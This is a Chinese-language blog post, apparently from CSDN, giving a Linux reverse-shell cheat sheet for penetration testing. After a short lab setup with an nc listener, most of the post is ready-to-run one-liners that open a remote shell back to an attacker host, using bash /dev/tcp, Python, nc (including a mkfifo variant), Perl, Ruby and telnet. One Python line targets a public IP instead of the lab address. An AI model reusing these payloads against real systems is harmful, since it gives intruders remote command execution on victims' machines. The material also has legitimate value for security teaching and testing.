带你了解LINUX反弹Shell的各种姿势(超详细)

以你之姓@ 2023-09-24 14:52 45阅读 0赞

## 简介 ##

LInux反弹Shell(Reveser Shell), 也可以称为反向Shell, 由被控制端主动向控制端发送请求建立通讯, 随后将执行命令的结果输出到控制端, 本质上是网络概念的客户端与服务端的角色反转

本篇文章介绍LINUX反弹Shell的多种姿势, 在真实的渗透环境中, 根据客户端存在哪些命令的实际情况, 来采取相应的反弹shell姿势

## 实验环境 ##

<table> 
 <thead> 
  <tr> 
   <th>操作系统</th> 
   <th>IP地址</th> 
  </tr> 
 </thead> 
 <tbody> 
  <tr> 
   <td>Kali Linux(服务端)</td> 
   <td>192.168.47.155</td> 
  </tr> 
  <tr> 
   <td>Ununtu Linux(客户端)</td> 
   <td>192.168.47.151</td> 
  </tr> 
 </tbody> 
</table>

## 服务端监听端口 ##

服务端kali监听端口

nc -lvp 4444

![image-20221126161342759][]

## 客户端反弹shell ##

### 1.bash反弹 ###

bash -i >& /dev/tcp/192.168.47.155/4444 0>&1

>  *  `bash -i` 表示在本地打开一个交互式BashSehll
>  *  `/dev/tcp`是Linux一个特殊设备, 打开该文件相当于建立socket连接, 读写该文件相当于在socket连接中传输数据
>  *  `0>&1`将标准输入重定向至标准输出
> 
> `bash -i >& /dev/tcp/192.168.47.155/4444`表示将bash的标准输出和标准错误输出发送给远程服务器的4444端口。我们只要客户端主机输入命令, 命令执行的结果以及错误提示都会发送给远程服务器

![image-20221126173912240][]

![image-20221126173930758][]

### 2.python反弹 ###

#### python3 ####

python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('123.6.44.67',9090));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

![image-20221126215634494][]

![image-20221126215649332][]

#### python2 ####

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.47.155",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

![image-20221126222452893][]

![image-20221126222459319][]

### 3.nc反弹shell ###

nc 192.168.47.155 4444 -e /bin/bash

> \-e后面接的参数表示在创建连接后执行的程序

![image-20221126220706747][]

![image-20221126220642719][]

有些老版本的nc不支持`-e`参数, 可使用如下命令进行反弹

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.47.155 4444 >/tmp/f

![image-20221126221325835][]

![image-20221126221348830][]

### 4.perl反弹 ###

#### 依赖`/bin/sh` ####

perl -e 'use Socket;$i="192.168.47.155";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

![image-20221126221711114][]

![image-20221126222013052][]

#### 不依赖`/bin/sh` ####

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.47.155:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

![image-20221126222110406][]

![image-20221126222126949][]

### 5.ruby反弹 ###

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.47.155","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

![image-20221126232240240][]

![image-20221126232254038][]

### 6.telnet反弹 ###

mknod backpipe p && telnet 192.168.47.155 4444 0<backpipe | /bin/bash 1>backpipe

![image-20221127001032000][]

![image-20221127001043908][]

[image-20221126161342759]: https://img-blog.csdnimg.cn/img_convert/a5763632e091275dc7b89f7d04bd037f.png
[image-20221126173912240]: https://img-blog.csdnimg.cn/img_convert/285e7958cd4decb9ea72a05d5ed0c61c.png
[image-20221126173930758]: https://img-blog.csdnimg.cn/img_convert/8f5657cd20e97962a1d673907007ec38.png
[image-20221126215634494]: https://img-blog.csdnimg.cn/img_convert/a4cc62af4f5569cde2b62c23839158dd.png
[image-20221126215649332]: https://img-blog.csdnimg.cn/img_convert/035f74c13a9dcd6a54397d44e68cba67.png
[image-20221126222452893]: https://img-blog.csdnimg.cn/img_convert/593472eaaec8add5f4dd721d29a6e012.png
[image-20221126222459319]: https://img-blog.csdnimg.cn/img_convert/08d8ff1e06f020fde3fb0f1ebf77d112.png
[image-20221126220706747]: https://img-blog.csdnimg.cn/img_convert/f86b1b15414ff0280cb56f655a4a2591.png
[image-20221126220642719]: https://img-blog.csdnimg.cn/img_convert/bb91c9b337b0feec547208e89cfe3cce.png
[image-20221126221325835]: https://img-blog.csdnimg.cn/img_convert/f9c8858ef4ba60afce51ea49176f8c31.png
[image-20221126221348830]: https://img-blog.csdnimg.cn/img_convert/1db749e6c4a05d9b106aaa833e23a802.png
[image-20221126221711114]: https://img-blog.csdnimg.cn/img_convert/e8ef5b9d53c71f2e43113fcd00bb813c.png
[image-20221126222013052]: https://img-blog.csdnimg.cn/img_convert/e9b122c200033ce790d6b3d5921c709c.png
[image-20221126222110406]: https://img-blog.csdnimg.cn/img_convert/2556340c8daa40671259214fb0ccf36a.png
[image-20221126222126949]: https://img-blog.csdnimg.cn/img_convert/0f0f98a5d5ba2fca8636fc32ac0fe752.png
[image-20221126232240240]: https://img-blog.csdnimg.cn/img_convert/37cb2fda061ea2a2b6b1ead574ce1993.png
[image-20221126232254038]: https://img-blog.csdnimg.cn/img_convert/e86ce4f7a6f741e9b82ddb283d149993.png
[image-20221127001032000]: https://img-blog.csdnimg.cn/img_convert/b61c4db4523322d71d57541856a85d5e.png
[image-20221127001043908]: https://img-blog.csdnimg.cn/img_convert/f08a570ac86ecd3a8b2df54512693725.png